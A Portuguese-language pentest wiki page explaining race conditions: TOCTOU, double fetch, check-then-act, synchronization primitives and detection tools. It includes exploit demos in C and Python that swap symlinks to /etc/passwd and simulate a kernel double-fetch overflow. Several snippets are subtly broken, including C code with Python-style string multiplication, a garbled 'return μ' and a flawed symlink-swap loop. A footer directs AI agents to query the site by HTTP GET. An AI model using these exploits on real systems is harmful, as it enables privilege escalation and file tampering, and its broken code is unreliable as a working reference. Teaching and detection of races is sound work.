# Race Conditions

### **📋 Índice**

1. Fundamentos de Concorrência
2. O que são Race Conditions
3. Mecanismos de Ataque
4. Tipos de Race Conditions
5. Técnicas de Exploração
6. TOCTOU (Time-of-Check Time-of-Use)
7. Ferramentas de Detecção
8. Impacto e Consequências
9. Prevenção e Sincronização
10. Checklists de Segurança

***

### 🔍 **Fundamentos de Concorrência**

#### **O que são Race Conditions?**

**Race Condition** é uma falha que ocorre quando o resultado de uma operação depende da ordem não controlada de execução de múltiplas threads ou processos. Quando duas ou mais entidades acessam e manipulam dados compartilhados simultaneamente, o resultado final pode ser inconsistente ou incorreto.

#### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant T1 as Thread 1
    participant M as Memória Compartilhada
    participant T2 as Thread 2

    Note over T1,T2: Execução normal (sincronizada)
    T1->>M: Lê valor (0)
    T1->>T1: Incrementa (1)
    T1->>M: Escreve valor (1)
    
    T2->>M: Lê valor (1)
    T2->>T2: Incrementa (2)
    T2->>M: Escreve valor (2)
    Note over M: Resultado final: 2 ✅

    Note over T1,T2: Race Condition (sem sincronização)
    T1->>M: Lê valor (0)
    T2->>M: Lê valor (0)
    T1->>T1: Incrementa (1)
    T2->>T2: Incrementa (1)
    T1->>M: Escreve valor (1)
    T2->>M: Escreve valor (1)
    Note over M: Resultado final: 1 ❌
```

#### **Exemplo Clássico**

```c
// race_condition_example.c - Exemplo básico de race condition

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>

#define NUM_THREADS 10
#define NUM_ITERATIONS 100000

// Variável compartilhada (sem proteção)
int shared_counter = 0;

// 🔴 Função vulnerável - sem sincronização
void* vulnerable_increment(void *arg) {
    for (int i = 0; i < NUM_ITERATIONS; i++) {
        // Race condition aqui!
        int temp = shared_counter;
        temp = temp + 1;
        shared_counter = temp;
        // O valor pode ser sobrescrito por outra thread
    }
    return NULL;
}

// ✅ Função segura - com mutex
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

void* safe_increment(void *arg) {
    for (int i = 0; i < NUM_ITERATIONS; i++) {
        pthread_mutex_lock(&mutex);
        shared_counter++;
        pthread_mutex_unlock(&mutex);
    }
    return NULL;
}

int main() {
    pthread_t threads[NUM_THREADS];
    
    // Teste vulnerável
    shared_counter = 0;
    printf("Teste vulnerável:\n");
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, vulnerable_increment, NULL);
    }
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }
    
    printf("  Esperado: %d\n", NUM_THREADS * NUM_ITERATIONS);
    printf("  Obtido: %d (perda de %d)\n", 
           shared_counter, 
           NUM_THREADS * NUM_ITERATIONS - shared_counter);
    
    // Teste seguro
    shared_counter = 0;
    printf("\nTeste seguro (com mutex):\n");
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&threads[i], NULL, safe_increment, NULL);
    }
    
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
    }
    
    printf("  Esperado: %d\n", NUM_THREADS * NUM_ITERATIONS);
    printf("  Obtido: %d\n", shared_counter);
    
    return 0;
}
```

***

### ⚙️ **Mecanismos de Ataque**

#### **Fluxo de Exploração**

```mermaid
graph TD
    A[Identificar recurso compartilhado] --> B[Analisar operações não atômicas]
    B --> C[Identificar janela de oportunidade]
    
    C --> D[Criar múltiplas threads/processos]
    D --> E[Tentar causar interleaving malicioso]
    
    E --> F{Tipo de Race}
    F -->|TOCTOU| G[Time-of-Check Time-of-Use]
    F -->|Check-Then-Act| H[Verificação seguida de ação]
    F -->|Read-Modify-Write| I[Leitura-modificação-escrita]
    
    G --> J[Bypass de verificações]
    H --> J
    I --> K[Corrupção de dados]
    
    J --> L[Escalação de privilégios]
    K --> L
    
    style C fill:#ffcc99
    style F fill:#ff9999
    style L fill:#ff3333
```

#### **Vetores de Ataque**

```python
#!/usr/bin/env python3
# race_vectors.py - Vetores de race condition

class RaceVectors:
    """Análise de vetores de race condition"""
    
    @staticmethod
    def check_then_act():
        """Check-Then-Act"""
        print("🔴 Check-Then-Act")
        print("=" * 60)
        
        print("""
Código vulnerável:
  if (file_exists(filename)) {
      // 🔴 Janela de tempo entre check e act
      // Outro processo pode criar/remover o arquivo aqui
      data = read_file(filename);
  }

Exploração:
  1. Thread A verifica se arquivo existe (false)
  2. Thread B cria o arquivo simbólico
  3. Thread A executa operação no arquivo
  4. Ação é realizada no arquivo errado (ex: /etc/passwd)
""")
    
    @staticmethod
    def read_modify_write():
        """Read-Modify-Write"""
        print("\n🔴 Read-Modify-Write")
        print("=" * 60)
        
        print("""
Código vulnerável:
  value = shared_var;
  value = value + 1;  // ou outra operação
  shared_var = value;

Exploração:
  1. Thread A lê shared_var (0)
  2. Thread B lê shared_var (0)
  3. Thread A incrementa (1)
  4. Thread B incrementa (1)
  5. Thread A escreve (1)
  6. Thread B escreve (1)
  Resultado: 1 em vez de 2
""")
    
    @staticmethod
    def double_fetch():
        """Double Fetch (kernel)"""
        print("\n🔴 Double Fetch (Kernel)")
        print("=" * 60)
        
        print("""
Código vulnerável:
  copy_from_user(&user_data, user_ptr, sizeof(user_data));
  if (user_data.size > MAX_SIZE) {
      return -EINVAL;
  }
  // 🔴 Janela: usuário pode modificar user_data.size
  buffer = kmalloc(user_data.size, GFP_KERNEL);
  copy_from_user(buffer, user_data.data, user_data.size);

Exploração:
  1. Kernel lê user_data (size=100)
  2. Valida size (100 < MAX)
  3. Usuário modifica size para 1000
  4. Kernel aloca 100 bytes
  5. Kernel copia 1000 bytes → buffer overflow!
""")
    
    @staticmethod
    def lazy_initialization():
        """Lazy Initialization"""
        print("\n🔴 Lazy Initialization")
        print("=" * 60)
        
        print("""
Código vulnerável:
  if (instance == NULL) {
      instance = create_instance();
  }
  return instance;

Exploração:
  1. Thread A verifica instance == NULL (true)
  2. Thread B verifica instance == NULL (true)
  3. Thread A cria instance A
  4. Thread B cria instance B
  5. Uma das instâncias é perdida (memory leak)
""")

# Executar
RaceVectors.check_then_act()
RaceVectors.read_modify_write()
RaceVectors.double_fetch()
RaceVectors.lazy_initialization()
```

***

### 🎯 **Tipos de Race Conditions**

#### **Classificação de Races**

```c
// race_types.c - Tipos de race conditions

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

// 1. TOCTOU (Time-of-Check Time-of-Use)
int toctou_vulnerable(const char *filename) {
    struct stat st;
    
    // Check
    if (stat(filename, &st) != 0) {
        return -1;
    }
    
    // 🔴 Janela de oportunidade aqui!
    // Outro processo pode trocar o arquivo
    
    // Use
    int fd = open(filename, O_RDWR);
    if (fd == -1) return -1;
    
    // Operação privilegiada...
    write(fd, "data", 4);
    close(fd);
    
    return 0;
}

// 2. Double Fetch (kernel)
struct user_data {
    size_t size;
    char data[1024];
};

int double_fetch_vulnerable(struct user_data __user *user_ptr) {
    struct user_data ud;
    
    // Primeiro fetch
    if (copy_from_user(&ud, user_ptr, sizeof(ud))) {
        return -EFAULT;
    }
    
    // Validação
    if (ud.size > 1024) {
        return -EINVAL;
    }
    
    // 🔴 Segundo fetch (pode ser diferente!)
    char *buffer = kmalloc(ud.size, GFP_KERNEL);
    if (copy_from_user(buffer, ud.data, ud.size)) {
        kfree(buffer);
        return -EFAULT;
    }
    
    kfree(buffer);
    return 0;
}

// 3. Signal Handler Race
volatile int flag = 0;

void signal_handler(int sig) {
    // 🔴 Pode interromper código não reentrante
    flag = 1;
}

void vulnerable_signal_handling() {
    signal(SIGINT, signal_handler);
    
    while (!flag) {
        // 🔴 Se malloc for interrompido, pode corromper heap
        char *ptr = malloc(100);
        free(ptr);
    }
}

// 4. Fork Race
void fork_race_vulnerable() {
    pid_t pid = fork();
    
    if (pid == 0) {
        // Processo filho
        // 🔴 Pode herdar estado inconsistente
        some_operation();
    } else {
        // Processo pai
        // 🔴 Modifica estado enquanto filho executa
        modify_shared_state();
    }
}
```

#### **Exemplo de TOCTOU em Sistema de Arquivos**

```c
// toctou_file_attack.c - Ataque TOCTOU em arquivos

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/stat.h>

#define TARGET_FILE "/tmp/sensitive.txt"
#define MALICIOUS_LINK "/tmp/link_to_etc"

// Programa vulnerável (check, then act)
int vulnerable_program() {
    struct stat st;
    
    // Check: verificar se é arquivo regular (não link)
    if (lstat(TARGET_FILE, &st) != 0) {
        return -1;
    }
    
    if (!S_ISREG(st.st_mode)) {
        return -1;
    }
    
    // 🔴 Janela de oportunidade para o atacante
    
    // Use: abrir e escrever
    FILE *f = fopen(TARGET_FILE, "a");
    if (!f) return -1;
    
    fprintf(f, "Sensitive data\n");
    fclose(f);
    
    return 0;
}

// Thread atacante
void* attacker_thread(void *arg) {
    while (1) {
        // Remover link existente
        unlink(TARGET_FILE);
        
        // Criar link simbólico para alvo privilegiado
        symlink("/etc/passwd", TARGET_FILE);
        
        // Aguardar um pouco
        usleep(100);
        
        // Restaurar arquivo normal
        unlink(TARGET_FILE);
        FILE *f = fopen(TARGET_FILE, "w");
        if (f) {
            fprintf(f, "Normal file\n");
            fclose(f);
        }
    }
    return NULL;
}

int main() {
    pthread_t attacker;
    
    // Criar arquivo inicial
    FILE *f = fopen(TARGET_FILE, "w");
    fprintf(f, "Initial content\n");
    fclose(f);
    
    // Iniciar thread atacante
    pthread_create(&attacker, NULL, attacker_thread, NULL);
    
    // Executar programa vulnerável repetidamente
    for (int i = 0; i < 100; i++) {
        vulnerable_program();
        printf("Iteration %d completed\n", i);
        usleep(1000);
    }
    
    return 0;
}
```

***

### 🔧 **Técnicas de Exploração**

#### **Race Condition em Sistema de Arquivos**

```python
#!/usr/bin/env python3
# filesystem_race.py - Exploração de race condition em FS

import os
import time
import threading
import tempfile

class FileSystemRace:
    """Exploração de race conditions em sistema de arquivos"""
    
    def __init__(self, target_file="/tmp/victim.txt", target_link="/etc/passwd"):
        self.target_file = target_file
        self.target_link = target_link
        self.running = True
    
    def attacker_symlink_swap(self):
        """Troca rápida de symlink para explorar TOCTOU"""
        print("[*] Atacante iniciado - trocando symlink")
        
        while self.running:
            # Criar link simbólico para alvo
            os.symlink(self.target_link, self.target_file)
            os.unlink(self.target_file)
            
            # Criar arquivo normal
            with open(self.target_file, 'w') as f:
                f.write("normal file")
            
            time.sleep(0.001)  # Pequena pausa
    
    def victim_operation(self):
        """Operação vulnerável que verifica e depois usa"""
        try:
            # Check: verificar se é arquivo regular
            import stat
            st = os.lstat(self.target_file)
            
            if stat.S_ISREG(st.st_mode):
                # 🔴 Janela de oportunidade
                time.sleep(0.001)  # Simular atraso
                
                # Use: abrir arquivo
                with open(self.target_file, 'r') as f:
                    content = f.read()
                    return content
        except:
            pass
        return None
    
    def exploit(self, iterations=100):
        """Executar ataque"""
        print(f"🚨 Filesystem Race Condition Exploit")
        print(f"   Target: {self.target_file}")
        print(f"   Link target: {self.target_link}")
        print("=" * 60)
        
        # Criar arquivo inicial
        with open(self.target_file, 'w') as f:
            f.write("initial")
        
        # Iniciar thread atacante
        attacker = threading.Thread(target=self.attacker_symlink_swap)
        attacker.daemon = True
        attacker.start()
        
        # Executar operação vulnerável
        successes = 0
        for i in range(iterations):
            result = self.victim_operation()
            if result and "root:" in result:
                successes += 1
                print(f"[!] Race condition bem-sucedida! Leitura de {self.target_link}")
                print(f"    Conteúdo: {result[:100]}...")
                break
            elif i % 10 == 0:
                print(f"[*] Iteração {i}/{iterations}")
        
        self.running = False
        print(f"\n[+] Ataque concluído: {successes} sucessos em {iterations} tentativas")
        
        # Limpeza
        if os.path.exists(self.target_file):
            os.unlink(self.target_file)

# Uso
if __name__ == "__main__":
    exploit = FileSystemRace("/tmp/race_target.txt", "/etc/passwd")
    exploit.exploit(500)
```

#### **Double Fetch Attack (Kernel)**

```c
// double_fetch_attack.c - Ataque de double fetch

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>

#define MAX_SIZE 1024

// Estrutura que será passada do user space para kernel
typedef struct {
    size_t size;
    char data[2048];  // Buffer maior que o máximo
} user_buffer_t;

// Simulação de copy_from_user (user space)
int copy_from_user(void *kernel_buf, void *user_buf, size_t size) {
    memcpy(kernel_buf, user_buf, size);
    return 0;
}

// Simulação de kmalloc
void* kmalloc(size_t size, int flags) {
    return malloc(size);
}

void kfree(void *ptr) {
    free(ptr);
}

// 🔴 Função kernel vulnerável a double fetch
int vulnerable_kernel_function(user_buffer_t __user *user_ptr) {
    user_buffer_t kernel_buf;
    
    // Primeiro fetch
    if (copy_from_user(&kernel_buf, user_ptr, sizeof(kernel_buf))) {
        return -1;
    }
    
    // Validação baseada no primeiro fetch
    if (kernel_buf.size > MAX_SIZE) {
        printf("Kernel: size %zu > MAX_SIZE, reject\n", kernel_buf.size);
        return -1;
    }
    
    printf("Kernel: validation passed, size=%zu\n", kernel_buf.size);
    
    // 🔴 Janela de oportunidade: user pode modificar size aqui
    
    // Segundo fetch (pode ser diferente!)
    char *buffer = kmalloc(kernel_buf.size, 0);
    if (!buffer) {
        return -1;
    }
    
    // Copia dados baseado no tamanho (pode ser maior que o alocado!)
    if (copy_from_user(buffer, user_ptr->data, kernel_buf.size)) {
        kfree(buffer);
        return -1;
    }
    
    printf("Kernel: data copied successfully\n");
    kfree(buffer);
    return 0;
}

// Thread atacante que modifica a estrutura
user_buffer_t shared_buffer;
int running = 1;

void* attacker_modify(void *arg) {
    while (running) {
        // Modificar size após a validação
        shared_buffer.size = 2048;  // Tamanho malicioso
        usleep(100);
        shared_buffer.size = 100;    // Tamanho válido para validação
    }
    return NULL;
}

int main() {
    pthread_t attacker;
    
    // Inicializar buffer compartilhado
    memset(&shared_buffer, 'A', sizeof(shared_buffer));
    shared_buffer.size = 100;
    
    // Iniciar thread atacante
    pthread_create(&attacker, NULL, attacker_modify, NULL);
    
    printf("[*] Double Fetch Attack\n");
    printf("=" * 60);
    
    // Executar função kernel vulnerável várias vezes
    for (int i = 0; i < 100; i++) {
        printf("\nIteration %d:\n", i);
        int result = vulnerable_kernel_function(&shared_buffer);
        
        if (result == 0) {
            printf("[!] Double fetch successful! Buffer overflow possible!\n");
            break;
        }
        
        usleep(1000);
    }
    
    running = 0;
    pthread_join(attacker, NULL);
    
    return 0;
}
```

#### **Thread Sanitizer Detection**

```bash
#!/bin/bash
# tsan_detection.sh - Detecção com ThreadSanitizer

# 1. Compilar com ThreadSanitizer
echo "[*] Compilando com ThreadSanitizer"
gcc -fsanitize=thread -g -O1 -o race_test race_test.c

# 2. Executar com TSAN
echo "\n[*] Executando com ThreadSanitizer"
./race_test 2> tsan_output.txt

# 3. Analisar saída
echo "\n[*] Analisando resultados"
grep "WARNING: ThreadSanitizer" tsan_output.txt
grep "race" tsan_output.txt

# 4. Opções avançadas
echo "\n[*] Configurações avançadas"
export TSAN_OPTIONS="history_size=7:report_thread_leaks=1:second_deadlock_stack=1"
./race_test

# 5. Para C++
g++ -fsanitize=thread -g -O1 -o race_test race_test.cpp
```

***

### 🔍 **Detecção e Prevenção**

#### **Ferramentas de Detecção**

```yaml
Ferramentas para Detecção de Race Conditions:

  🔧 ThreadSanitizer (TSAN):
    - Detecção em tempo de execução
    - Rastreamento de acessos concorrentes
    - Baixo overhead

  🔧 Helgrind (Valgrind):
    - Análise de programas com threads
    - Detecção de condições de corrida
    - Alto overhead, mas detalhado

  🔧 DRD (Valgrind):
    - Detector de data races
    - Menos overhead que Helgrind
    - Boa para programas grandes

  🔧 Intel Inspector:
    - Análise estática e dinâmica
    - Integração com IDEs
    - Comercial

  🔧 Clang Thread Safety Analysis:
    - Análise estática baseada em anotações
    - Detecta races em tempo de compilação
    - Baixo overhead
```

#### **Script de Detecção com Helgrind**

```bash
#!/bin/bash
# helgrind_detection.sh - Detecção com Helgrind

# 1. Compilar com debug symbols
echo "[*] Compilando com debug symbols"
gcc -g -O0 -pthread -o race_program race_program.c

# 2. Executar Helgrind
echo "\n[*] Executando Helgrind"
valgrind --tool=helgrind ./race_program 2> helgrind_output.txt

# 3. Analisar saída
echo "\n[*] Analisando resultados"
grep "Possible data race" helgrind_output.txt
grep "Lock order" helgrind_output.txt

# 4. Com opções avançadas
echo "\n[*] Execução detalhada"
valgrind --tool=helgrind \
         --history-level=full \
         --trace-children=yes \
         --log-file=helgrind_detailed.log \
         ./race_program

# 5. Suprimir falsos positivos
echo "\n[*] Suprimindo warnings conhecidos"
valgrind --tool=helgrind --suppressions=suppress.txt ./race_program
```

***

### 🛡️ **Prevenção e Sincronização**

#### **Mecanismos de Sincronização**

```c
// synchronization_techniques.c - Técnicas de sincronização

#include <pthread.h>
#include <semaphore.h>
#include <stdatomic.h>

// 1. Mutex (exclusão mútua)
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

void* thread_with_mutex(void *arg) {
    pthread_mutex_lock(&mutex);
    // Seção crítica
    shared_variable++;
    pthread_mutex_unlock(&mutex);
    return NULL;
}

// 2. Spinlock (para seções curtas)
pthread_spinlock_t spinlock;

void init_spinlock() {
    pthread_spin_init(&spinlock, PTHREAD_PROCESS_PRIVATE);
}

void* thread_with_spinlock(void *arg) {
    pthread_spin_lock(&spinlock);
    // Seção crítica curta
    shared_variable++;
    pthread_spin_unlock(&spinlock);
    return NULL;
}

// 3. Semáforo
sem_t semaphore;

void init_semaphore() {
    sem_init(&semaphore, 0, 1);  // Binary semaphore
}

void* thread_with_semaphore(void *arg) {
    sem_wait(&semaphore);
    // Seção crítica
    shared_variable++;
    sem_post(&semaphore);
    return NULL;
}

// 4. Variável atômica (C11)
#include <stdatomic.h>

atomic_int atomic_counter = 0;

void* thread_atomic(void *arg) {
    atomic_fetch_add(&atomic_counter, 1);
    return NULL;
}

// 5. Read-Write Lock (leitores múltiplos, escritor único)
pthread_rwlock_t rwlock = PTHREAD_RWLOCK_INITIALIZER;

void reader() {
    pthread_rwlock_rdlock(&rwlock);
    // Leitura segura
    int value = shared_variable;
    pthread_rwlock_unlock(&rwlock);
}

void writer() {
    pthread_rwlock_wrlock(&rwlock);
    // Escrita exclusiva
    shared_variable++;
    pthread_rwlock_unlock(&rwlock);
}

// 6. Barrier (sincronização de grupo)
pthread_barrier_t barrier;

void init_barrier(int count) {
    pthread_barrier_init(&barrier, NULL, count);
}

void* thread_with_barrier(void *arg) {
    // Trabalho fase 1
    pthread_barrier_wait(&barrier);
    // Trabalho fase 2 (após todos terminarem fase 1)
    return NULL;
}

// 7. Condition Variable (espera por condição)
pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
int ready = 0;

void waiter() {
    pthread_mutex_lock(&mutex);
    while (!ready) {
        pthread_cond_wait(&cond, &mutex);
    }
    pthread_mutex_unlock(&mutex);
}

void signaller() {
    pthread_mutex_lock(&mutex);
    ready = 1;
    pthread_cond_signal(&cond);
    pthread_mutex_unlock(&mutex);
}
```

#### **Análise Estática com Clang**

```c
// thread_annotations.c - Anotações para análise estática

#include <mutex>

// Anotações do Clang para análise de threads
class CAPABILITY("mutex") Mutex {
public:
    void Lock() ACQUIRE() {}
    void Unlock() RELEASE() {}
};

Mutex mu;

int counter GUARDED_BY(mu);

void safe_function() {
    mu.Lock();
    counter++;  // ✅ OK: protegido por mu
    mu.Unlock();
}

void unsafe_function() {
    counter++;  // ❌ Aviso: counter não está protegido
}

// Anotação para funções que exigem lock
void requires_lock() REQUIRES(mu) {
    counter++;  // ✅ OK: assumimos que lock está adquirido
}

// Anotação para funções que adquirem lock
void acquires_lock() ACQUIRE(mu) {
    mu.Lock();
}

// Anotação para retorno com lock
Mutex* returns_lock() RETURNS(mu) {
    return μ
}
```

***

### 📋 **Checklists de Segurança**

#### **Checklist para Desenvolvedores**

* [ ] Identificar todos os dados compartilhados entre threads
* [ ] Proteger seções críticas com mutex/locks
* [ ] Usar variáveis atômicas para operações simples
* [ ] Evitar TOCTOU em operações de arquivo
* [ ] Usar `O_NOFOLLOW` para evitar symlink races
* [ ] Implementar double-check locking corretamente
* [ ] Testar com ThreadSanitizer/Helgrind

#### **Checklist para Revisão de Código**

* [ ] Verificar operações não atômicas em variáveis globais
* [ ] Analisar padrão check-then-act
* [ ] Verificar inicialização lazy de singletons
* [ ] Analisar sinais em código não reentrante
* [ ] Verificar operações de arquivo com TOCTOU
* [ ] Confirmar locks em ordem consistente

***

### 📊 **Conclusão**

```yaml
Race Conditions:

  🔴 Principais Vetores:
    - Check-Then-Act (TOCTOU)
    - Read-Modify-Write
    - Double Fetch (kernel)
    - Lazy Initialization
    - Signal Handlers

  🛡️ Mitigações Essenciais:
    - Mutexes e Locks
    - Variáveis atômicas
    - ThreadSanitizer
    - Análise estática
    - Design lock-free quando possível

  🎯 Prioridade:
    - CRÍTICA: TOCTOU em arquivos privilegiados
    - ALTA: Races em dados compartilhados
    - MÉDIA: Races em inicialização lazy
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/low-level/race-conditions.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
